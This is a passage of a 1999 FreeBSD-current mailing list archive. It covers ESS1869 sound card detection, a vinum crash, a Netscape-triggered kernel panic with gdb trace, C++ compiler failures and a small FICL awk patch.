In-Reply-To: Warner Losh's message of "29 Sep 1999 00:02:09 +0300"
Message-ID: <867lla5fg2.fsf@not.demophon.com>
Lines: 20
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Warner Losh <imp@village.org> writes:

> In message <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu> Kenneth Culver writes:
> : Check this out, if anyone is intrested.
> : 
> : I found this on packetstorm.securify.com tonight. Any ideas??

> Mycroft sent this out after we had fixed this before the 3.3R
> release.  At least it appeared in bugtraq after it had been fixed in
> FreeBSD, as far as I can tell.

It isn't in -current, does this mean that it wasn't considered an
acceptable long-term solution?

Really large numbers of hardlinks are probably rare enough, but the
default limit of 4 seems a bit low, it should probably be at least as
high as the maximum link count encountered on a normal installation.
There are other ways to hold down at least as much memory per file you
can keep open as with the limit of 4.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  0:53:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 9D14114BFD
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 00:51:36 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id IAA20453;
	Wed, 29 Sep 1999 08:54:39 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Wed, 29 Sep 1999 08:54:38 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: John Saunders <john.saunders@nlc.net.au>
Cc: freebsd-current@freebsd.org
Subject: Re: ESS1869 logical ID
In-Reply-To: <19990929040708.23263.qmail@nhj.nlc.net.au>
Message-ID: <Pine.BSF.4.10.9909290852520.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On 29 Sep 1999, John Saunders wrote:

> > ----
> > unknown0: <ESS ES1869 Plug and Play AudioDrive> on isa0
> > pcm0: <ESS1869> at port 0x220-0x22f,0x388-0x38b,0x330-0x331 irq 5 drq 1,0 on isa0
> > unknown1: <ESS ES1869 Plug and Play AudioDrive> at port 0x201 on isa0
> > unknown2: <ESS ES1869 Plug and Play AudioDrive> at port 0x168-0x16f,0x36e-0x36f irq 9 on isa0
> > ----
> 
> Interestingly, that last device "unknown2:" looks to be an IDE interface
> for a CDROM drive. Any plans, ideas, thoughts on the PnP system assigning
> the ATA driver to this device?

The IDs are there in the ata driver but I haven't actually tried it.

> 
> The middle device could possibly be a game port, although the port looks
> strange as game ports are normally port 0x200.

I have a patch for pnp joystick support which I haven't got around to
testing yet. I expect to commit that fairly soon, hopefully after making
it work on alpha.

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  1: 1:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 09C461509E
	for <freebsd-current@FreeBSD.ORG>; Wed, 29 Sep 1999 01:01:31 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id RAA85355;
	Wed, 29 Sep 1999 17:31:20 +0930 (CST)
Date: Wed, 29 Sep 1999 17:31:20 +0930
From: Greg Lehey <grog@lemis.com>
To: Brad Chisholm <sasblc@unx.sas.com>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19990929173120.C85028@freebie.lemis.com>
References: <19990925104024.B54407@freebie.lemis.com> <199909271705.NAA43302@concours.pc.sas.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909271705.NAA43302@concours.pc.sas.com>; from Brad Chisholm on Mon, Sep 27, 1999 at 01:05:35PM -0400
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Monday, 27 September 1999 at 13:05:35 -0400, Brad Chisholm wrote:
>>> I'm having a problem where the "vinum start" command crashes my system.
>>> This happens regardless of whether it's being issued during bootup via
>>> /etc/rc or from the command line on a running system.
>>>
>>> Interestingly, however, if I issue the start command from the vinum
>>> interactive prompt, it works properly with no crash.
>>>
>>> I'm currently running on a snap built this morning (0924), but it was
>>> also happening on a snap from 0914.
>>>
>>> Crash info, vinum config, and disk info are below.  Let me know if I
>>> can provide any additional information.
>>
>> Yes.  Please read the instructions in vinum(4) about debugging panic
>> dumps.
>>
>> I found a minor bug in 'vinum start' recently, but I doubt it's
>> causing your problem.  I'll commit it Real Soon Now.
>>
>
> Well, I believe I discovered the source of my problem.  It turns out that
> I did not have the correct devices configured in /dev for the component
> drives.  I had da[0-3]e, but not da[0-3]s1e.  The documentation seemed to
> indicate that the da?s1? devices were not required, but once I made them,
> the crashes stopped.

Thanks.  This was the clue that helped me find the bug.  It's fixed in
3.3-STABLE now.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  1:25:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from solaris.matti.ee (solaris.matti.ee [194.126.98.135])
	by hub.freebsd.org (Postfix) with ESMTP id 4F03414DD6
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 01:25:20 -0700 (PDT)
	(envelope-from vallo@matti.ee)
Received: from myhakas.matti.ee (myhakas.matti.ee [194.126.114.87])
	by solaris.matti.ee (8.9.3/8.9.3) with ESMTP id LAA20576
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 11:25:06 +0300 (EET DST)
Received: by myhakas.matti.ee (Postfix, from userid 1000)
	id 93E5DBC; Wed, 29 Sep 1999 11:25:18 +0300 (EEST)
Date: Wed, 29 Sep 1999 11:25:18 +0300
From: Vallo Kallaste <vallo@matti.ee>
To: freebsd-current@freebsd.org
Subject: Repeatable panic in current, cause Netscape
Message-ID: <19990929112518.A484@myhakas.matti.ee>
Reply-To: vallo@matti.ee
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.6i
Organization: =?iso-8859-1?Q?AS_Matti_B=FCrootehnika?=
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hello

The latest -current system crashes while starting up Netscape, mine
version is 4.61, Linux one. It's fully repeatable in my case. I got
crash dump and here's my dmesg and gdb trace:

Copyright (c) 1992-1999 The FreeBSD Project.
Copyright (c) 1982, 1986, 1989, 1991, 1993
	The Regents of the University of California. All rights reserved.
FreeBSD 4.0-CURRENT #0: Wed Sep 29 09:53:08 EEST 1999
    root@myhakas.matti.ee:/usr/src/sys/compile/Myhakas
Timecounter "i8254"  frequency 1193038 Hz
CPU: Pentium III (501.08-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x672  Stepping = 2
  Features=0x383fbff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,XMM>
real memory  = 134217728 (131072K bytes)
avail memory = 126898176 (123924K bytes)
Programming 24 pins in IOAPIC #0
FreeBSD/SMP: Multiprocessor motherboard
 cpu0 (BSP): apic id:  0, version: 0x00040011, at 0xfee00000
 cpu1 (AP):  apic id:  1, version: 0x00040011, at 0xfee00000
 io0 (APIC): apic id:  2, version: 0x00170011, at 0xfec00000
Preloaded elf kernel "kernel" at 0xc02fe000.
Preloaded userconfig_script "/boot/kernel.conf" at 0xc02fe09c.
VESA: v2.0, 32768k memory, flags:0x1, mode table:0xc00c6954 (c0006954)
VESA: Matrox Graphics Inc.
Pentium Pro MTRR support enabled
devclass_alloc_unit: pcib0 already exists, using next available unit number
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Intel 82443GX host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib2: <Intel 82443GX (440 GX) PCI-PCI (AGP) bridge> at device 1.0 on pci0
pci1: <PCI bus> on pcib2
vga-pci0: <Matrox model 0525 graphics accelerator> irq 2 at device 0.0 on pci1
isab0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isab0
chip1: <Intel PIIX4 IDE controller> at device 7.1 on pci0
chip2: <UHCI USB controller> at device 7.2 on pci0
Timecounter "PIIX"  frequency 3579545 Hz
chip3: <Intel 82371AB Power management controller> at device 7.3 on pci0
ahc0: <Adaptec aic7896/97 Ultra2 SCSI adapter> irq 16 at device 11.0 on pci0
ahc0: aic7896/97 Wide Channel A, SCSI Id=7, 16/255 SCBs
ahc1: <Adaptec aic7896/97 Ultra2 SCSI adapter> irq 16 at device 11.1 on pci0
ahc1: aic7896/97 Wide Channel B, SCSI Id=7, 16/255 SCBs
fxp0: <Intel EtherExpress Pro 10/100B Ethernet> irq 19 at device 13.0 on pci0
fxp0: Ethernet address 00:e0:81:10:50:32
ncr0: <ncr 53c875 fast20 wide scsi> irq 16 at device 14.0 on pci0
fxp1: <Intel EtherExpress Pro 10/100B Ethernet> irq 17 at device 15.0 on pci0
fxp1: Ethernet address 00:90:27:54:57:26
devclass_alloc_unit: pci1 already exists, using next available unit number
pcib1: <Intel 82443GX host to AGP bridge> on motherboard
pci2: <PCI bus> on pcib1
atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model Generic PS/2 mouse, device ID 0
vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> on isa0
sc0: VGA <8 virtual consoles, flags=0x200>
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
unknown0: <Disabled Device> on isa0
unknown1: <Disabled Device> on isa0
unknown2: <Disabled Device> on isa0
pcm0: <GusPnP> at port 0x220-0x22f,0x320-0x327,0x32c-0x32f irq 11 drq 5,7 on isa0
unknown3: <Disabled Device> on isa0
APIC_IO: Testing 8254 interrupt delivery
APIC_IO: routing 8254 via pin 2
BRIDGE 981214, have 3 interfaces
-- index 1 fxp0 type 6 phy 0 addrl 6 addr 00.e0.81.10.50.32
-- index 2 fxp1 type 6 phy 0 addrl 6 addr 00.90.27.54.57.26
Waiting 5 seconds for SCSI devices to settle
SMP: AP CPU #1 Launched!
changing root device to da0s1a
da0 at ahc0 bus 0 target 5 lun 0
da0: <QUANTUM VIKING II 4.5WSE 5520> Fixed Direct Access SCSI-2 device 
da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled
da0: 4350MB (8910423 512 byte sectors: 255H 63S/T 554C)
da1 at ahc0 bus 0 target 6 lun 0
da1: <QUANTUM VIKING II 4.5WSE 5520> Fixed Direct Access SCSI-2 device 
da1: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled
da1: 4350MB (8910423 512 byte sectors: 255H 63S/T 554C)
cd0 at ncr0 bus 0 target 0 lun 0
cd0: <TOSHIBA CD-ROM XM-6201TA 1030> Removable CD-ROM SCSI-2 device 
cd0: 10.000MB/s transfers (10.000MHz, offset 16)
cd0: Attempt to query device size failed: NOT READY, Medium not present
WARNING: / was not properly dismounted
called sysctl for bridge name bridge arg2 0 val 0->0
called sysctl for bridge name bridge arg2 0 val 0->0
called sysctl for bridge name bridge arg2 0 val 0->1
called sysctl for bridge name bridge arg2 0 val 1->1
called sysctl for bridge name bridge arg2 0 val 1->1
fxp0: promiscuous mode enabled
>> now  fxp0 flags 0xffff8943 promisc 0
fxp1: promiscuous mode enabled
>> now  fxp1 flags 0xffff8943 promisc 0


Script started on Wed Sep 29 11:07:23 1999
myhakas# gdb -k /sys/compile/Myhakas/kernel.debug vmcore.1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
SMP 2 cpus
IdlePTD 3211264
initial pcb at 298e00
panicstr: page fault
panic messages:
---
Fatal trap 12: page fault while in kernel mode
mp_lock = 01000002; cpuid = 1; lapic.id = 01000000
fault virtual address	= 0x17
fault code		= supervisor read, page not present
instruction pointer	= 0x8:0xc017ad2c
stack pointer	        = 0x10:0xc8e5fca0
frame pointer	        = 0x10:0xc8e5fcf0
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, def32 1, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 666 (netscape)
interrupt mask		= none <- SMP: XXX
trap number		= 12
panic: page fault
mp_lock = 01000002; cpuid = 1; lapic.id = 01000000
boot() called on cpu#1

syncing disks... 19 5 1 done

dumping to dev #da/0x20001, offset 0
dump 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 
---
#0  boot (howto=256) at ../../kern/kern_shutdown.c:281
281			dumppcb.pcb_cr3 = rcr3();
(kgdb) where
#0  boot (howto=256) at ../../kern/kern_shutdown.c:281
#1  0xc0155349 in panic (fmt=0xc026de2f "page fault")
    at ../../kern/kern_shutdown.c:531
#2  0xc0236400 in trap_fatal (frame=0xc8e5fc60, eva=23)
    at ../../i386/i386/trap.c:907
#3  0xc0236071 in trap_pfault (frame=0xc8e5fc60, usermode=0, eva=23)
    at ../../i386/i386/trap.c:800
#4  0xc0235ce7 in trap (frame={tf_fs = 1048600, tf_es = 16, tf_ds = 16, 
      tf_edi = -924451276, tf_esi = -924451236, tf_ebp = -924451600, 
      tf_isp = -924451700, tf_ebx = -1061078179, tf_edx = -924572480, 
      tf_ecx = 7, tf_eax = 7, tf_trapno = 12, tf_err = 0, 
      tf_eip = -1072190164, tf_cs = 8, tf_eflags = 66198, 
      tf_esp = -1061078179, tf_ss = 0}) at ../../i386/i386/trap.c:426
#5  0xc017ad2c in namei (ndp=0xc8e5fe34) at ../../kern/vfs_lookup.c:91
#6  0xc0c12eb5 in ?? ()
#7  0xc0c11c55 in ?? ()
#8  0xc0236642 in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, 
      tf_edi = 677678720, tf_esi = 677674201, tf_ebp = -1077946400, 
      tf_isp = -924450860, tf_ebx = 677674201, tf_edx = -1077946464, 
      tf_ecx = -1077946464, tf_eax = 106, tf_trapno = 12, tf_err = 2, 
      tf_eip = 677666503, tf_cs = 31, tf_eflags = 582, tf_esp = -1077946504, 
      tf_ss = 47}) at ../../i386/i386/trap.c:1056
#9  0xc02241b1 in Xint0x80_syscall ()
#10 0x28644564 in ?? ()
(kgdb) quit
myhakas# exit
exit

The same Netscape and X did work for last 3 weeks. The same Netscape did
work for at least last 2 months. I see it's a known problem accordingly
to lists.

Thanks
-- 

Vallo Kallaste
vallo@matti.ee


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  1:56:23 1999
Delivered-To: freebsd-current@freebsd.org
Received: from maild.telia.com (maild.telia.com [194.22.190.3])
	by hub.freebsd.org (Postfix) with ESMTP id 2E1851555F
	for <current@freebsd.org>; Wed, 29 Sep 1999 01:55:58 -0700 (PDT)
	(envelope-from martin@filex.se)
Received: from filex.se (t3o79p86.telia.com [62.20.201.86])
	by maild.telia.com (8.8.8/8.8.8) with ESMTP id KAA00183
	for <current@freebsd.org>; Wed, 29 Sep 1999 10:55:52 +0200 (CEST)
Message-ID: <37F1D37C.EA2D6465@filex.se>
Date: Wed, 29 Sep 1999 10:53:16 +0200
From: Martin Nilsson <martin@filex.se>
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: current@freebsd.org
Subject: C++ compiler not working in yesterdays current.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I'm having problem compiling programs with the c++ compiler in current
as of yesterday. 

kdelibs-1.1.2 fails in configure, cc1plus coredumps when trying to 
compile a STL test.

mysql-3.23.3 cc1plus reports out of swap space and exits when 
compiling sql_yacc.cc

Have anybody else experienced this or is it my computer/installation 
that is to blame. Dual PPro 200-512KB Intel PR440FX 128MB RAM 256Swap.

I can compile the above on 3.3 and 2.8 so it must be either current or
my
machine that is at fault.


		/Martin


-- 
 _____________________________________________________________________
| o | +---------------------------+ +---------------------------+ | o |
|   | | Martin Nilsson M.Sc. CS&E | |    Internet & Intranet    | |   |
| o | | FILEX AB, Lund SWEDEN     | | Applications & shopping.  | | o |
|   | | email: martin@filex.se    | | UNIX, TCP/IP, Perl, C/C++ | |   |
|   | | Phone: +46-46-304130      | | SQL dev. & consulting     | |   |
| o | +---------------------------+ +---------------------------+ | o |
|   |       Those who do not understand Unix are condemned        |   |
| o |       to reinvent it, poorly.       -- Henry Spencer        | o |
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  3: 2:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133])
	by hub.freebsd.org (Postfix) with ESMTP
	id D8C4A1510E; Wed, 29 Sep 1999 03:02:12 -0700 (PDT)
	(envelope-from mark@grondar.za)
Received: from grondar.za (localhost [127.0.0.1])
	by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id MAA52950;
	Wed, 29 Sep 1999 12:02:10 +0200 (SAST)
	(envelope-from mark@grondar.za)
Message-Id: <199909291002.MAA52950@gratis.grondar.za>
To: dcs@freebsd.org
Cc: current@freebsd.org
Subject: FICL breakage...
Date: Wed, 29 Sep 1999 12:02:09 +0200
From: Mark Murray <mark@grondar.za>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi

There is breakage in the new FICL. This fixes it...

diff -u -d -r1.2 softcore.awk
--- softcore.awk        1999/01/22 23:52:57     1.2
+++ softcore.awk        1999/09/29 09:47:30
@@ -91,6 +91,6 @@
   printf "    \"quit \";\n";
   printf "\n\nvoid ficlCompileSoftCore(FICL_VM *pVM)\n";
   printf "{\n";
-  printf "    assert(ficlExec(pVM, softWords, -1) != VM_ERREXIT);\n";
+  printf "    assert(ficlExec(pVM, softWords) != VM_ERREXIT);\n";
   printf "}\n";
 }


M


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  3:21:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from main.avias.com (avias-gw.corbina.net [195.14.40.4])
	by hub.freebsd.org (Postfix) with ESMTP id 49E241510E
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 03:21:12 -0700 (PDT)
	(envelope-from camel@avias.com)
Received: from camel.avias.com (camel.avias.com [195.14.38.87])
	by main.avias.com (8.9.3/8.9.2) with ESMTP id OAA72461;
	Wed, 29 Sep 1999 14:20:42 +0400 (MSD)
	(envelope-from camel@avias.com)
Date: Wed, 29 Sep 1999 14:20:46 +0400 (MSD)
From: Ilya Naumov <camel@avias.com>
To: Martin Nilsson <martin@filex.se>
Cc: current@FreeBSD.ORG
Subject: Re: C++ compiler not working in yesterdays current.
In-Reply-To: <37F1D37C.EA2D6465@filex.se>
Message-ID: <Pine.BSF.4.10.9909291414340.10360-100000@camel.avias.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG



On Wed, 29 Sep 1999, Martin Nilsson wrote:

> mysql-3.23.3 cc1plus reports out of swap space and exits when 
> compiling sql_yacc.cc

add mode swap space using swapfile parameter in /etc/rc.conf or manually,
with vnconfig/swapon commands. mysql will normally compile. 

sincerely,
ilya naumov (at work)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  3:45:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id 375241554F
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 03:45:41 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p27-dn01kiryunisiki.gunma.ocn.ne.jp [210.132.6.156])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id TAA21070;
	Wed, 29 Sep 1999 19:45:17 +0900 (JST)
Message-ID: <37F1BA64.29B5251C@newsguy.com>
Date: Wed, 29 Sep 1999 16:06:12 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: "Jordan K. Hubbard" <jkh@zippy.cdrom.com>, dmaddox@conterra.com,
	Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
References: <199909271853.LAA12927@gndrsh.dnsmgr.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Rodney W. Grimes" wrote:
> 
> I also know that we are a lot better off with CAM, and could care less
> that the old ancient AIC drivers are dead, but some how I am also pretty

Let me chime in here. We *DO* care about ancient AIC drivers as long
as no PCMCIA alternative exists.

> sure we won't be reverting back on newpcm, even if some old sound cards
> don't work.  It'll take the same arguement path that CAM did.  ``This
> is so much better, someone is working on getting that done, etc, etc..''

Alas, the fuctionality lost in this case is one of newer cards. We
lost the cutting edge stuff, and kept just the old technology. :-)
That this is the reverse of the driver situation is a fine irony.
:-)

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it do unto yours



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  4: 6:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from tardis.patho.gen.nz (tardis.patho.gen.nz [203.97.2.226])
	by hub.freebsd.org (Postfix) with ESMTP
	id 98BE21567E; Wed, 29 Sep 1999 04:06:10 -0700 (PDT)
	(envelope-from jabley@tardis.patho.gen.nz)
Received: (from jabley@localhost)
	by tardis.patho.gen.nz (8.9.3/8.9.3) id XAA28189;
	Wed, 29 Sep 1999 23:05:50 +1200 (NZST)
Date: Wed, 29 Sep 1999 23:05:49 +1200
From: Joe Abley <jabley@patho.gen.nz>
To: Mark Murray <mark@grondar.za>
Cc: dcs@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: FICL breakage...
Message-ID: <19990929230549.F10020@patho.gen.nz>
References: <199909291002.MAA52950@gratis.grondar.za>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.5i
In-Reply-To: <199909291002.MAA52950@gratis.grondar.za>; from Mark Murray on Wed, Sep 29, 1999 at 12:02:09PM +0200
X-Files: the Truth is Out There
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 12:02:09PM +0200, Mark Murray wrote:
> There is breakage in the new FICL. This fixes it...
> 
> [awk diff]

I remember a long time ago someone asked me to make some modifications
to softcore.awk to compress the textual ficl keywords by eliminating
double-spaces and newlines, and that kind of thing.

I don't believe I ever got around to doing it at the time, but I'd
be more than happy to implement the changes now if (a) someone could
remind me what the compression logic should be, and (b) someone could
confirm that these changes haven't already been made :)

If I sound vague, it's because I am without a FreeBSD box right now,
and do not have an easy way to check the source tree.


Joe


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  5: 8:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id 0BD1914D80
	for <current@freebsd.org>; Wed, 29 Sep 1999 05:08:17 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p25-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.122])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id VAA04686;
	Wed, 29 Sep 1999 21:07:42 +0900 (JST)
Message-ID: <37F1EEC0.5D8FAA36@newsguy.com>
Date: Wed, 29 Sep 1999 19:49:36 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Mark Murray <mark@grondar.za>
Cc: current@freebsd.org
Subject: Re: FICL breakage...
References: <199909291002.MAA52950@gratis.grondar.za>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Mark Murray wrote:
> 
> Hi
> 
> There is breakage in the new FICL. This fixes it...
> 
> diff -u -d -r1.2 softcore.awk
> --- softcore.awk        1999/01/22 23:52:57     1.2
> +++ softcore.awk        1999/09/29 09:47:30
> @@ -91,6 +91,6 @@
>    printf "    \"quit \";\n";
>    printf "\n\nvoid ficlCompileSoftCore(FICL_VM *pVM)\n";
>    printf "{\n";
> -  printf "    assert(ficlExec(pVM, softWords, -1) != VM_ERREXIT);\n";
> +  printf "    assert(ficlExec(pVM, softWords) != VM_ERREXIT);\n";
>    printf "}\n";
>  }

/me wonders how did this got to _not_ be committed.

Well, that's why I wanted some disk space to make a test compilation
of the changes I was about to commit...

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it do unto yours



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  5:20:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP
	id A445114FCF; Wed, 29 Sep 1999 05:20:13 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p25-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.122])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id VAA07002;
	Wed, 29 Sep 1999 21:19:30 +0900 (JST)
Message-ID: <37F20376.64A46CEA@newsguy.com>
Date: Wed, 29 Sep 1999 21:17:58 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Joe Abley <jabley@patho.gen.nz>
Cc: Mark Murray <mark@grondar.za>, dcs@FreeBSD.ORG,
	current@FreeBSD.ORG, Mike Smith <mike@smith.net.au>
Subject: Re: FICL breakage...
References: <199909291002.MAA52950@gratis.grondar.za> <19990929230549.F10020@patho.gen.nz>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Joe Abley wrote:
> 
> I don't believe I ever got around to doing it at the time, but I'd
> be more than happy to implement the changes now if (a) someone could
> remind me what the compression logic should be, and (b) someone could
> confirm that these changes haven't already been made :)

AFAIK, you the changes weren't made. Alas, FICL's author, John
Sadler, has optimized the perl script. The main reason for using awk
instead of perl was removing a world dependency on perl. It seems we
